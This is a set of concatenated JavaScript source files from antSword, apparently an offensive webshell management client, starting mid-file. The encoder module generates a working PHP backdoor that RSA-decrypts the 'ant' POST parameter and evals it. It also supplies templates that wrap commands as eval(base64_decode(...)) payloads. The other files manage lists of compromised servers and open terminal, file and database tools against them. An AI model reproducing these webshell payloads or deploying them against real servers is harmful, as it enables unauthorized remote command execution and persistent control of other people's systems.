let toolbar = _win .win .attachToolbar(); toolbar.loadStruct([{ id: 'save', type: 'button', icon: 'save', text: LANG["toolbar"]['save'] }, { type: 'separator' }]); toolbar.attachEvent('onClick', (id) => { if (id === 'save') { // let saveData = editor .session .getValue(); if (!saveData) { toastr.warning(LANG["message"]["edit_null_value"], LANG_T["warning"]); return } fs.writeFileSync(epath + ".js", saveData); toastr.success(LANG["message"]["edit_save_success"], LANG_T["success"]); } }); // let editor = ace.edit(_win.win.cell.lastChild); editor.$blockScrolling = Infinity; editor.setTheme('ace/theme/tomorrow'); editor .session .setMode(`ace/mode/javascript`); editor .session .setUseWrapMode(true); editor .session .setWrapLimitRange(null, null); editor.setOptions({ tabSize: 2, fontSize: '14px', enableBasicAutocompletion: true, enableSnippets: true, enableLiveAutocompletion: true }); // editor .commands .addCommand({ name: 'save', bindKey: { win: 'Ctrl-S', mac: 'Command-S' }, exec: () => { toolbar.callEvent('onClick', ['save']); } }); editor .session .setValue(buff.toString()); // const inter = setInterval(editor.resize.bind(editor), 200); _win .win .attachEvent('onClose', () => { if (edtype === 'encoder') { self.syncencoders(); } else { self.syncdecoders(); } clearInterval(inter); return true; }); } // RSA generateRsaKey(bit = 1024) { const key = new NodeRSA({ b: bit }); let pubKey = key.exportKey('pkcs8-public-pem'); let priKey = key.exportKey('pkcs1-private-pem'); let keyPath = this.rsa.keyPath; fs.writeFileSync(keyPath.pub, pubKey); fs.writeFileSync(keyPath.pri, priKey); for (var _path in keyPath) { if (!fs.existsSync(keyPath[_path])) { toastr.error(LANG["message"]["rsa_save_error"], LANG_T["error"]); return false; } } toastr.success(LANG["message"]["rsa_save_success"], LANG_T["success"]); this.reloadRsa(); return true; } // RSA reloadRsa() { let keyPath = this.rsa.keyPath; let pubKey = fs.existsSync(keyPath.pub) ? fs.readFileSync(keyPath.pub) : ''; let priKey = fs.existsSync(keyPath.pri) ? fs.readFileSync(keyPath.pri) : ''; this .rsa .form .setItemValue('public_key', pubKey); this .rsa .form .setItemValue('private_key', priKey); this .rsa .form .setItemValue('php_code', `<?php $cmd = @$_POST['ant']; $pk = <<<EOF ${pubKey} EOF; $cmds = explode("|", $cmd); $pk = openssl_pkey_get_public($pk); $cmd = ''; foreach ($cmds as $value) { if (openssl_public_decrypt(base64_decode($value), $de, $pk)) { $cmd .= $de; } } eval($cmd);`); } // rsaConfig() { let self = this; let opt = { title: LANG["rsa_config_win_title"], width: 800, height: 600 }; let _win = new WIN(opt); _win .win .centerOnScreen(); let toolbar = _win .win .attachToolbar(); let form = _win .win .attachForm(); self.rsa.form = form; toolbar.loadStruct([{ id: 'generate', type: 'button', icon: 'repeat', text: LANG["toolbar"]['generate'] }]); toolbar.attachEvent('onClick', (id) => { if (id === 'generate') { if (fs.existsSync(self.rsa.keyPath.pub) && fs.existsSync(self.rsa.keyPath.pri)) { layer.confirm(`${LANG['confirm']['generate']} `, { icon: 2, shift: 6, title: `${LANG['confirm']["generate"]} ` }, (_) => { layer.close(_); self.generateRsaKey(); }); } else { self.generateRsaKey(); } } }); form.loadStruct([{ type: "settings", labelWidth: 750, inputWidth: 750, position: "label-top", labelLeft: 25, inputLeft: 25 }, { type: 'block', inputWidth: 'auto', offsetTop: 20, list: [{ type: 'input', label: LANG['form']['public_key'], name: 'public_key', rows: 6, value: '' }, { type: 'input', label: LANG['form']['private_key'], name: 'private_key', rows: 15, value: '' }, { type: 'input', label: LANG['form']['php_code'], name: 'php_code', rows: 20, value: '' }] }], true); self.reloadRsa(); } deleteEncoder() { let self = this; // ID let ids = self .grid .getSelectedId(); if (!ids) { toastr.warning(LANG["message"]["delete_not_select"], LANG_T["warning"]); return } let _ids = ids.split(","); layer.confirm(`${LANG['confirm']['delete'](_ids.length == 1 ? self.grid.getRowAttribute(_ids[0], "ename") : _ids.length)} `, { icon: 2, shift: 6, title: `${LANG["delete_title"]} ` }, (_) => { layer.close(_); _ids.map((_id) => { var epath = self .grid .getRowAttribute(_id, 'epath'); fs.unlinkSync(epath + ".js"); }); toastr.success(LANG["message"]["delete_success"], LANG_T["success"]); self.syncencoders(); self.syncdecoders(); }); } get default_template() { return `/** * php::base64 * Create at: ${new Date().format("yyyy/MM/dd hh:mm:ss")} */ \'use strict\'; /* * @param {String} pwd * @param {Array} data payload * @return {Array} data payload */ module.exports = (pwd, data, ext={}) => { // ########## ################### // PHP Base64 // let randomID = \`_0x\${Math.random().toString(16).substr(2)}\`; // payload data['_'] // base64 randomID key data[randomID] = Buffer.from(data['_']).toString('base64'); // shell payload pwd data[pwd] = \`eval(base64_decode($_POST[\${randomID}]));\`; // ########## ################### // _ payload delete data['_']; // payload return data; }`; } get default_rsa_template() { return `/** * php::RSA * Create at: ${new Date().format("yyyy/MM/dd hh:mm:ss")} */ 'use strict'; /* * @param {String} pwd * @param {Array} data payload * @return {Array} data payload */ module.exports = (pwd, data, ext={}) => { let n = Math.ceil(data['_'].length / 80); let l = Math.ceil(data['_'].length / n); let r = [] for (var i = 0; n > i; i++) { r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64')); } data[pwd] = r.join("|"); delete data['_']; return data; }`; } get default_decoder_template() { return `/** * php::base64 * Create at: ${new Date().format("yyyy/MM/dd hh:mm:ss")} */ 'use strict'; module.exports = { /** * @returns {string} asenc base64 * asenc * shell */ asoutput: () => { return \`function asenc($out){ return @base64_encode($out); } \`.replace(/\\n\\s+/g, ''); }, /** * Buffer * @param {string} data Buffer * @returns {string} Buffer */ decode_buff: (data, ext={}) => { return Buffer.from(data.toString(), 'base64'); } }`; } // name _checkname(name, t, edtype) { let key = `${edtype}s`; let tstr = ',' + antSword[key][t].join(',') + ','; return tstr.indexOf("," + name + ",") != -1; } // parseData() { let data = []; let self = this; let _id = 1; Object .keys(self.encoders) .map((t) => { self .encoders[t] .map(_ => { data.push({ id: _id, ename: _, epath: path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${t}/encoder/${_}`), etype: t, // shell Type edtype: 'encoder', data: [ `<i class="fa fa-file-code-o"></i>`, antSword.noxss(_), t, LANG['grid']['edtype']['encoder'] ] }); _id++; }); }); Object .keys(self.decoders) .map((t) => { self .decoders[t] .map(_ => { data.push({ id: _id, ename: _, epath: path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${t}/decoder/${_}`), etype: t, // shell Type edtype: 'decoder', data: [ `<i class="fa fa-file-code-o"></i>`, antSword.noxss(_), t, `<span style="color:green;">${LANG['grid']['edtype']['decoder']}</span>` ] }); _id++; }); }); self .grid .clearAll(); self .grid .parse({ 'rows': data }, 'json'); } // syncencoders() { antSword['encoders'] = (function () { var encoders = {}; var encoders_path = {}; for (var i in antSword['core_types']) { encoders[antSword['core_types'][i]] = []; encoders_path[antSword['core_types'][i]] = []; } let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); // !fs.existsSync(userencoder_path) ? fs.mkdirSync(userencoder_path) : null; antSword['core_types'].map((t) => { !fs.existsSync(path.join(userencoder_path, `${t}`)) ? fs.mkdirSync(path.join(userencoder_path, `${t}`)) : null; let t_path = path.join(userencoder_path, `${t}/encoder/`); !fs.existsSync(t_path) ? fs.mkdirSync(t_path) : null; let es = fs.readdirSync(t_path); if (es) { es.map((_) => { if (!_.endsWith(".js")) { return } encoders[t].push(_.slice(0, -3)); encoders_path[t].push(path.join(t_path, _.slice(0, -3))); }); } antSword["core"][t].prototype.user_encoders = encoders_path[t]; }); return encoders; })(); this.encoders = antSword["encoders"]; this.parseData(); } // syncdecoders() { antSword['decoders'] = (function () { var decoders = {}; var decoders_path = {}; for (var i in antSword['core_types']) { decoders[antSword['core_types'][i]] = []; decoders_path[antSword['core_types'][i]] = []; } let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); // !fs.existsSync(userdecoder_path) ? fs.mkdirSync(userdecoder_path) : null; antSword['core_types'].map((t) => { !fs.existsSync(path.join(userdecoder_path, `${t}`)) ? fs.mkdirSync(path.join(userdecoder_path, `${t}`)) : null; let t_path = path.join(userdecoder_path, `${t}/decoder/`); !fs.existsSync(t_path) ? fs.mkdirSync(t_path) : null; let es = fs.readdirSync(t_path); if (es) { es.map((_) => { if (!_.endsWith(".js")) { return } decoders[t].push(_.slice(0, -3)); decoders_path[t].push(path.join(t_path, _.slice(0, -3))); }); } antSword["core"][t].prototype.user_decoders = decoders_path[t]; }); return decoders; })(); this.decoders = antSword["decoders"]; this.parseData(); } } module.exports = Encoders; ```
/content/code_sandbox/source/modules/settings/encoders.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
5,466
```javascript /** * * 2016/05/09 * * <path_to_url */ 'use strict'; const path = global.require('path'); class Plugin { constructor() { // antSword['menubar'].reg('plugin-store', this.initWin.bind(this, 'ant-views://front/plugin.html')); this.win = null; } /** * * @param {String} url URL * @return {Object} BrowserWindow */ initWin(url) { if (this.win) { return this .win .focus(); } let win = new antSword['remote'].BrowserWindow({ width: 950, height: 666, minWidth: 650, minHeight: 555, show: false, title: 'AntSword.Store' }); win.on('close', () => { this.win = win = null; }); let ses = win.webContents.session; let proxyuri = ""; if (antSword.aproxymode != "noproxy") { proxyuri = antSword.aproxyuri; } ses.setProxy({ proxyRules: proxyuri }, () => { win.loadURL(url); win.show(); // win.openDevTools(); this.win = win; }); } } module.exports = Plugin; ```
/content/code_sandbox/source/modules/plugin/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
305
```javascript /** * shell */ module.exports = { /** * Shell * @param {Object} arg * @return {[type]} [description] */ get: (arg = {}) => { const ret = antSword['ipcRenderer'].sendSync('shell-find', arg); // let data = []; let category = {}; ret.map((_) => { let _c = _['category'] || 'default'; category[_c] = category[_c] || 0; category[_c]++; if ((arg instanceof Object) && arg['category'] && arg['category'] !== _['category']) { return; }; if (!arg && _['category'] !== 'default') { return; }; data.push({ id: _['_id'], data: [ antSword.noxss(_['url']), _['ip'], _['addr'], antSword.noxss(_['note']), new Date(_['ctime']).format('yyyy/MM/dd hh:mm:ss'), new Date(_['utime']).format('yyyy/MM/dd hh:mm:ss') ] }); }); // if ((arg instanceof Object) && arg['category'] && !category[arg['category']]) { category[arg['category']] = 0; }; if (typeof (category['default']) === 'object') { category['default'] = 0; }; return { data: data, category: category } } } ```
/content/code_sandbox/source/modules/shellmanager/data.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
331
```javascript /** * AntSword::ShellManager::Toolbar * Create: 2019-09-01 * Update: 2019-09-01 * Author: Virink <path_to_url */ 'use strict'; const LANG_T = antSword['language']['toastr']; const LANG = antSword['language']['shellmanager']['toolbar']; const WIN = require("ui/window"); class Toolbar { constructor(cell, manager) { var self = this; self.max_shotcut_plugin = 8; // cell.hideHeader(); // cell.setHeight(43); // cell.fixSize(1, 0); let lang = antSword.storage('language', false, navigator.language.substr(0, 2)); this.lang = (lang == 'en') ? '_en' : ''; // Create toolbar let toolbar = cell.attachToolbar(); // toolbar.setIconSize(24); toolbar.attachEvent("onClick", function(id) { console.log(id); if (id == 'setting') { self.settingPane(); } else { // Load Plugin let plug = antSword['plugins'][id]; if (!antSword['plugins'][id]['module']) { antSword['plugins'][id]['module'] = require(path.join(plug['path'], plug['info']['main'] || 'index.js')); } // Load WebShell var ids = (manager.list.grid.getSelectedId() || '').split(','); if (ids.length >= 1 && ids[0] != "") { var infos = antSword.ipcRenderer.sendSync('shell-find', { _id: { $in: ids } }); if (infos.length > 0) { new antSword['plugins'][id]['module'](plug['info']['multiple'] ? infos : infos[0]); } } else if (plug['info']['global']) { new antSword['plugins'][id]['module']({}); } else { toastr.error(LANG['select'], LANG_T['error']); } } }); this.toolbar = toolbar; // antSword.modules.shellmanager.toolbar.reloadToolbar() } /** * ::reloadToolbar * Reload Toolbar */ reloadToolbar() { this.toolbar.clearAll(); var plugsData = []; try { var plugsList = JSON.parse(antSword.storage('toolbar', false, '[]')); plugsList = plugsList.slice(0, this.max_shotcut_plugin); plugsList.forEach((plug) => { if (plug in antSword["plugins"]) { p = antSword["plugins"][plug]["info"]; plugsData.push({ id: plug, text: antSword.noxss(p["name" + this.lang] || p["name"]), title: antSword.noxss(p["description" + this.lang] || p["description"]), icon: p["icon"], type: 'button' }, { type: 'separator' }); } }); } catch (e) { toastr.error(e, LANG_T['error']); } // Add Setting Button plugsData.push({ id: 'setting', text: LANG['setting']['text'], title: LANG['setting']['title'], icon: 'cog', type: 'button' }); this.toolbar.loadStruct(plugsData); } /** * ::settingPane * Open the Setting Pane */ settingPane() { let win = new WIN({ title: LANG['setting']['text'], height: 450, width: 300 }); let layout = win.win.attachLayout('1C'); let cell = layout.cells('a'); cell.hideHeader(); let plugsForm = cell.attachForm(); var plugsData = []; try { var i = 0; var plugs = JSON.parse(antSword.storage('toolbar', false, '[]')); for (let plug in antSword["plugins"]) { p = antSword["plugins"][plug]["info"]; plugsData.push({ type: "checkbox", label: `<i class="fa fa-${antSword.noxss(p['icon'])}"></i> ${antSword.noxss(p["name" + this.lang] || p["name"])}`, name: plug, checked: plugs.indexOf(plug) != -1 }); // if (i % 2 == 1) { // plugsData.push({ // type: 'newcolumn', // }); // } // i++; } } catch (e) { toastr.error(e, LANG_T['error']); } plugsForm.loadStruct([{ type: "settings", position: "label-right", labelLeft: 25, inputLeft: 25 }, { type: "fieldset", name: "Setting", offsetLeft: 20, label: LANG['setting']['pluginlist'], list: plugsData }]) const toolbar = cell.attachToolbar(); toolbar.loadStruct([{ type: "button", id: "toolbar_setting_save", text: LANG['setting']['save'], icon: "save", }, { type: 'button', id: 'toolbar_setting_clear', text: LANG['setting']['clear'], icon: 'remove' }]) toolbar.attachEvent("onClick", (id) => { switch (id) { case 'toolbar_setting_save': var save_data = []; var _formvals = plugsForm.getValues(); for (let v in _formvals) { if (_formvals[v]) save_data.push(v) } if (save_data.length > this.max_shotcut_plugin) { toastr.error(LANG['setting']['error_max'], LANG_T['error']); return; } // Save and Reload Toolbar antSword.storage('toolbar', save_data); antSword.modules.shellmanager.toolbar.reloadToolbar() win.close(); break; case 'toolbar_setting_clear': plugsForm.clear(); break; } }); } } module.exports = Toolbar; ```
/content/code_sandbox/source/modules/shellmanager/toolbar.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,333
```javascript /** * */ const Grid = require('./grid'); // const LANG_T = antSword['language']['toastr']; const LANG = antSword['language']['shellmanager']['list']; class List { /** * * @param {Object} cell dhtmlx cell-object * @param {Object} top shell-manager obj * @return {[type]} [description] */ constructor(cell, top) { // document .getElementsByClassName('dhxlayout_arrow dhxlayout_arrow_va')[0] .remove(); this.cell = cell; this.grid = new Grid(cell, this); this.updateHeader(); } /** * * @param {number} num * @return {[type]} [description] */ updateHeader(num = 0) { let proxyhint = ""; if (antSword.aproxymode === "manualproxy") { proxyhint = ` <i class="fa fa-paper-plane"></i> <span style="color:green;">Proxy On</span>`; } this .cell .setText(`<i class="fa fa-list-ul"></i> ${LANG['title']} (${num})${proxyhint}`); } } module.exports = List; ```
/content/code_sandbox/source/modules/shellmanager/list/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
279
```javascript /** * Shell * 2016/06/20 */ const Data = require('./data'); const List = require('./list/'); const Toolbar = require('./toolbar'); const Category = require('./category/'); class ShellManager { constructor() { const tabbar = antSword['tabbar']; tabbar.addTab('tab_shellmanager', '<i class="fa fa-th-large"></i>', null, null, true, false); const cell = tabbar.cells('tab_shellmanager'); const layout = cell.attachLayout('2U'); // - this.toolbar = new Toolbar(layout, this); // this.list = new List(layout.cells('a'), this); // this.category = new Category(layout.cells('b'), this); this.searchPop = null; this.searchForm = null; this.initSearchUI(); this.reloadData(); // antSword['menubar'].reg('shellmanager-search', () => { antSword .tabbar .tabs("tab_shellmanager") .setActive(); if (this.searchPop.isVisible()) { this .searchPop .hide(); } else { this .searchPop .show(120, document.body.clientHeight, 100, 100); } }); } /** * shell * @param {object} arg = {} * @return {[type]} [description] */ reloadData(arg = {}) { if (this.searchPop.isVisible()) { let sdata = this.searchForm.getValues(); try { RegExp(sdata['searchtext']); } catch (e) { var tmpstr = sdata['searchtext'].replace(/([\$\(\)\*\+\.\[\?\\\^\{\|])/g, function($, $1) { return `\\${$1}`; }); sdata['searchtext'] = tmpstr; } var searchObj = {}; switch (sdata['searchtype']) { case 'all': searchObj["$or"] = [{ "url": { $regex: sdata['searchtext'] } }, { "pwd": { $regex: sdata['searchtext'] } }, { "note": { $regex: sdata['searchtext'] } }]; break; default: searchObj[sdata['searchtype']] = { $regex: sdata['searchtext'] }; break; } // searchObj['category'] = this .category .sidebar .getActiveItem(); $.extend(arg, searchObj); } const _data = Data.get(arg); // UI:: this.list.grid.clearAll(); this.list.grid.parse({ 'rows': _data['data'] }, 'json'); // UI:: for (let _ in _data['category']) { // bubble if (!!this.category['sidebar'].items(_)) { this .category['sidebar'] .items(_) .setBubble(_data['category'][_]); continue; } // this .category['sidebar'] .addItem({ id: _, bubble: _data['category'][_], text: `<i class="fa fa-folder-o"></i> ${antSword.noxss(_)}` }); } // this.category.sidebar.items(arg['category'] || 'default').setActive(true); // this .category .updateHeader(); this .list .updateHeader(_data['data'].length); } initSearchUI() { let that = this; let searchPop = new dhtmlXPopup(); let formData = [{ type: "settings", position: "label-left", labelWidth: 80, inputWidth: 130 }, { type: "combo", name: 'searchtype', options: [{ text: "All", value: "all", selected: true }, { text: "URL", value: "url" }, { text: "Password", value: "pwd" }, { text: "Remark", value: "note" }] }, { type: 'newcolumn', offset: 20 }, { type: "input", name: "searchtext" }]; searchPop.attachEvent("onShow", function() { if (that.searchForm == null) { that.searchForm = searchPop.attachForm(formData); // that.searchForm.attachEvent("onButtonClick", function(){ searchPop.hide(); // }); that .searchForm .attachEvent("onInputChange", (name, value, form) => { if (name == "searchtext") { that.reloadData({}); } }); } // popup var poparrows = document.getElementsByClassName('dhx_popup_arrow dhx_popup_arrow_top'); if (poparrows.length > 0 && poparrows[0].style.display != "none") { poparrows[0].style.display = "none"; } that .searchForm .setItemFocus("searchtext"); }); // searchPop.attachEvent("onBeforeHide", function(type, ev, id){ return false; // }); that.searchPop = searchPop; } } module.exports = ShellManager; ```
/content/code_sandbox/source/modules/shellmanager/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,187
```javascript /** * */ const Data = require('../data'); const Form = require('./form'); const ViewSite = require('../../viewsite/'); const Terminal = require('../../terminal/'); const Database = require('../../database/'); const FileManager = require('../../filemanager/'); const clipboard = require('electron').clipboard; const LANG = antSword['language']['shellmanager']; const LANG_T = antSword['language']['toastr']; class ContextMenu { /** * * @param {array} data * @param {object} event * @return {[type]} [description] */ constructor(data, event, id, ids) { let selectedData = !id || ids.length !== 1; let selectedMultiData = !id; // let menuItems = []; [ // text, icon, disabled, action, submenu [ 'terminal', 'terminal', selectedData, () => { new Terminal(data[0]) } ], [ 'filemanager', 'folder-o', selectedData, () => { new FileManager(data[0]); } ], [ 'database', 'database', selectedData, () => { new Database(data[0]); } ], [ 'viewsite', 'chrome', selectedData, () => { new ViewSite(data[0]); } ], [ 'copyurl', 'copy', selectedData, this .copyUrl .bind(this, data[0]) ], false, [ 'plugin', 'folder-o', selectedMultiData, null, this.parsePlugContextMenu(data) ], [ 'pluginStore', 'cart-arrow-down', false, antSword['menubar'] .run .bind(antSword['menubar'], 'plugin-store') ], false, [ 'add', 'plus-circle', false, this .addData .bind(this) ], [ 'edit', 'edit', selectedData, this .editData .bind(this, data[0]) ], [ 'delete', 'remove', selectedMultiData, this .delData .bind(this, ids) ], false, [ 'move', 'share-square', selectedMultiData, null, this.parseMoveCategoryMenu(ids) ], [ 'copy', 'copy', selectedData, this .copyData .bind(this, data[0]) ], [ 'search', 'search', false, this .searchData .bind(this, event) ], false, [ 'clearCache', 'trash-o', selectedData, this .clearCache .bind(this, id) ], [ 'clearAllCache', 'trash', false, this .clearAllCache .bind(this) ] ].map((menu) => { // if (!menu) { return menuItems.push({ divider: true }) } let menuObj = { text: LANG['contextmenu'][menu[0]], icon: `fa fa-${menu[1]}`, disabled: menu[2] } // if (menu[3] instanceof Function) { menuObj['action'] = menu[3]; } // if (Array.isArray(menu[4])) { menuObj['subMenu'] = menu[4]; } menuItems.push(menuObj); }); // bmenu(menuItems, event); } /** * * @return {array} [description] */ parsePlugContextMenu(data) { let info = data[0]; let infos = data; // 1. let plugins = { default: [] }; for (let _ in antSword['plugins']) { let p = antSword['plugins'][_]; let c = p['info']['category'] || 'default'; plugins[c] = plugins[c] || []; plugins[c].push(p); } // 2. let pluginItems = []; for (let _ in plugins) { // 0x01 pluginItems.push({ text: antSword.noxss(_ === 'default' ? LANG['contextmenu']['pluginDefault'] : _), icon: 'fa fa-folder-open-o', disabled: plugins[_].length === 0, subMenu: ((plugs) => { let plugItems = []; // 0x02 plugs.map((p) => { plugItems.push({ text: antSword.noxss(p['info']['name']), icon: `fa fa-${p['info']['icon'] || 'puzzle-piece'}`, disabled: infos.length > 1 ? (() => { let ret = false; // if (p['info']['scripts'] && p['info']['scripts'].length > 0) { infos.map((_info) => { console.log(p['info']['scripts']) if (p['info']['scripts'].indexOf("*") === -1 && p['info']['scripts'].indexOf(_info['type']) === -1) { // ret = true; } }); } // return ret || !p['info']['multiple']; })() : info && (p['info']['scripts'] || []).indexOf("*") === -1 && (p['info']['scripts'] || []).indexOf(info['type']) === -1, action: ((plug) => () => { // if (!antSword['plugins'][plug['_id']]['module']) { antSword['plugins'][plug['_id']]['module'] = require(path.join(plug['path'], plug['info']['main'] || 'index.js')); } // new antSword['plugins'][plug['_id']]['module'](infos.length === 1 && !plug['info']['multiple'] ? info : infos); })(p) }) }); return plugItems; })(plugins[_]) }) } return pluginItems; } /** * * @return {array} [description] */ parseMoveCategoryMenu(ids) { // const items = antSword .modules .shellmanager .category .sidebar .getAllItems(); // const category = antSword .modules .shellmanager .category .sidebar .getActiveItem(); // const moveHandler = (c) => { const ret = antSword['ipcRenderer'].sendSync('shell-move', { ids: ids, category: c }); if (typeof (ret) === 'number') { toastr.success(LANG['list']['move']['success'](ret), LANG_T['success']); antSword .modules .shellmanager .reloadData(); antSword .modules .shellmanager .category .sidebar .callEvent('onSelect', [c]) } else { toastr.error(LANG['list']['move']['error'](ret), LANG_T['error']); } } // let ret = []; items.map((_) => { ret.push({ text: _ === 'default' ? LANG['category']['default'] : antSword.noxss(_), icon: 'fa fa-folder-o', disabled: category === _, action: moveHandler.bind(null, _) }); }); return ret; } /** * */ addData() { let config = { headers: {}, bodys: {}, others: {} }; let shellmanager_setting = JSON.parse(antSword['storage']("adefault_shellmanager", false, JSON.stringify(config))); let args = { httpConf: { headers: shellmanager_setting.headers, body: shellmanager_setting.bodys }, otherConf: shellmanager_setting.others || {} }; new Form({ title: LANG['list']['add']['title'], icon: 'plus-circle', text: LANG['list']['add']['toolbar']['add'] }, args, (data) => { return new Promise((res, rej) => { // data['base']['category'] = antSword .modules .shellmanager .category .sidebar .getActiveItem(); // const ret = antSword .ipcRenderer .sendSync('shell-add', data); if (ret instanceof Object) { // antSword .modules .shellmanager .reloadData({ category: data['base']['category'] }); return res(LANG['list']['add']['success']); } else { return rej(LANG['list']['add']['error'](ret.toString())); } }); }) } /** * * @param {Object} info * @return {[type]} [description] */ editData(info) { new Form({ title: LANG['list']['edit']['title'](info.url), icon: 'save', text: LANG['list']['edit']['toolbar']['save'] }, info, (data) => { return new Promise((res, rej) => { // const ret = antSword .ipcRenderer .sendSync('shell-edit', { old: info, new: data }); if (ret === 1) { // antSword .modules .shellmanager .reloadData({ category: info['category'] }); return res(LANG['list']['edit']['success']); } else { return rej(LANG['list']['edit']['error'](ret.toString())); } }) }) } /** * * @param {array} ids [description] * @return {[type]} [description] */ delData(ids) { layer.confirm(LANG['list']['del']['confirm'](ids.length), { icon: 2, shift: 6, title: `<i class="fa fa-trash"></i> ${LANG['list']['del']['title']}` }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('shell-del', ids); if (typeof (ret) === 'number') { toastr.success(LANG['list']['del']['success'](ret), LANG_T['success']); // UI antSword .modules .shellmanager .reloadData({ category: antSword .modules .shellmanager .category .sidebar .getActiveItem() }); } else { toastr.error(LANG['list']['del']['error'](ret.toString()), LANG_T['error']); } }); } /** * * @param {Object} info * @return {[type]} [description] */ copyData(info) { let data = { base: { category: info['category'], url: info['url'], pwd: info['pwd'], note: info['note'], type: info['type'], encode: info['encode'], encoder: info['encoder'], decoder: info['decoder'], }, http: info['httpConf'] || {}, other: info['otherConf'] || {} } const ret = antSword .ipcRenderer .sendSync('shell-add', data); if (ret instanceof Object) { // antSword .modules .shellmanager .reloadData({ category: data['base']['category'] }); toastr.success(LANG['list']['add']['success']); } else { toastr.error(LANG['list']['add']['error'](ret.toString()), LANG_T['error']); } } /** * * @return {[type]} [description] */ searchData(event) { antSword .modules .shellmanager .searchPop .show(120, document.body.clientHeight, 100, 100); } /** * * @param {number} id ID * @return {[type]} [description] */ clearCache(id) { layer.confirm(LANG['list']['clearCache']['confirm'], { icon: 2, shift: 6, title: `<i class="fa fa-trash"></i> ${LANG['list']['clearCache']['title']}` }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('cache-clear', { id: id }); if (ret === true) { toastr.success(LANG['list']['clearCache']['success'], LANG_T['success']); } else { toastr.error(LANG['list']['clearCache']['error'](ret['errno'] === -2 ? 'Not cache file.' : ret['errno']), LANG_T['error']); } }); } /** * * @return {[type]} [description] */ clearAllCache() { layer.confirm(LANG['list']['clearAllCache']['confirm'], { icon: 2, shift: 6, title: `<i class="fa fa-trash"></i> ${LANG['list']['clearAllCache']['title']}` }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('cache-clearAll'); if (ret === true) { toastr.success(LANG['list']['clearAllCache']['success'], LANG_T['success']); } else { toastr.error(LANG['list']['clearAllCache']['error'](ret), LANG_T['error']); } }); } /** * URL * @param {opt} info */ copyUrl(info) { let url = info['url']; clipboard.writeText(url); let txt = clipboard.readText(); if (txt == url) { toastr.success('Copy Success', LANG_T['success']); } else { toastr.error('Copy Failed', LANG_T['error']); } } } module.exports = ContextMenu; ```
/content/code_sandbox/source/modules/shellmanager/list/contextmenu.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
3,137
```javascript /** * */ const FileManager = require('../../filemanager/'); const LANG = antSword['language']['shellmanager']['list']['grid']; const ContextMenu = require('./contextmenu'); class Grid { /** * * @param {object} cell dhtmlx.cell * @param {object} top list * @return {[type]} [description] */ constructor(cell, top) { // grid const grid = cell.attachGrid(); // grid grid.setHeader(` ${LANG['url']}, ${LANG['ip']}, ${LANG['addr']}, ${LANG['note']}, ${LANG['ctime']}, ${LANG['utime']} `); grid.setColTypes("ro,ro,ro,ro,ro,ro"); grid.setColSorting('str,str,str,str,str,str'); grid.setInitWidths("200,120,*,*,140,140"); grid.setColAlign("left,left,left,left,center,center"); grid.enableMultiselect(true); // const dis_smhc = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') ? JSON.parse(localStorage.display_shellmanager_hiddencolumns) : []; dis_smhc.map((_) => { grid.setColumnHidden(_, true) }); // grid.attachEvent('onRowSelect', bmenu.hide); $('.objbox') .on('click', bmenu.hide) .on('contextmenu', (e) => { if (e.target.nodeName === 'DIV' && grid.callEvent instanceof Function) { grid.callEvent('onRightClick', [ grid.getSelectedRowId(), '', e ]); } }); // grid.attachEvent('onRightClick', this._onRightClick); grid.attachEvent('onRowDblClicked', this._onRowDblClicked); grid.init(); return grid; } /** * * @param {number} id ID * @param {number} lid ID * @param {object} event [description] * @return {[type]} [description] */ _onRightClick(id, lid, event) { // let ids = (this.getSelectedId() || '').split(','); // if (ids.length === 1) { this.selectRowById(id); ids = [id]; } // let infos = []; if (ids.length >= 1) { infos = antSword['ipcRenderer'].sendSync('shell-find', { _id: { $in: ids } }) } // let info = infos[0]; // new ContextMenu(infos, event, id, ids); return true; } /** * * @param {[type]} id [description] * @param {[type]} event [description] * @return {[type]} [description] */ _onRowDblClicked(id, event) { const info = antSword['ipcRenderer'].sendSync('shell-findOne', id); new FileManager(info); } } module.exports = Grid; ```
/content/code_sandbox/source/modules/shellmanager/list/grid.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
696
```javascript /** * */ const LANG = antSword['language']['shellmanager']['category']; const LANG_T = antSword['language']['toastr']; class Toolbar { /** * * @param {Object} cell dhtmlx.cell * @param {Object} top * @return {[type]} [description] */ constructor(cell, top) { this.top = top; const toolbar = cell.attachToolbar(); this.parseToolbar(toolbar); toolbar.attachEvent('onClick', this._onClick.bind(this)); return toolbar; } /** * * @param {object} toolbar * @return {[type]} [description] */ parseToolbar(toolbar) { let _tbObj = []; [ // id&&lang, icon, disabled [ 'add', 'plus-circle' ], false, [ 'rename', 'font', true ], false, ['del', 'trash', true] ].map((_) => { // if (!_) { return _tbObj.push({ type: 'separator' }) } let _tb = { id: _[0], type: 'button', text: `<i class="fa fa-${_[1]}"></i> ${LANG['toolbar'][_[0]]}` } // if (_[2]) { _tb['disabled'] = true; } _tbObj.push(_tb); }); toolbar.loadStruct(_tbObj); } /** * * @param {[type]} id [description] * @return {[type]} [description] */ _onClick(id) { switch (id) { case 'add': this._addCategory(); break; case 'del': this._delCategory(); break; case 'rename': this._renameCategory(); break; } } /** * * @return {[type]} [description] */ _delCategory() { // const category = this .top .sidebar .getActiveItem(); // layer.confirm(LANG['del']['confirm'], { icon: 2, shift: 6, title: `<i class="fa 